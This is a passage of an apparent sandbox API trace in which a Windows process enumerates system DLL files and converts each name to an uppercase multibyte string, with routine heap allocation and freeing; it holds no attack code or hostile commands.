(HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.041] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0xddc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.042] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.042] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0xddc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.042] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0xddc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0024.042] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.042] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.043] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.043] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.043] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.043] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.043] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.043] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.044] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0xddc288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.044] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.044] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.044] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.044] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.045] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.045] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0xddc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.045] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.045] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.045] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 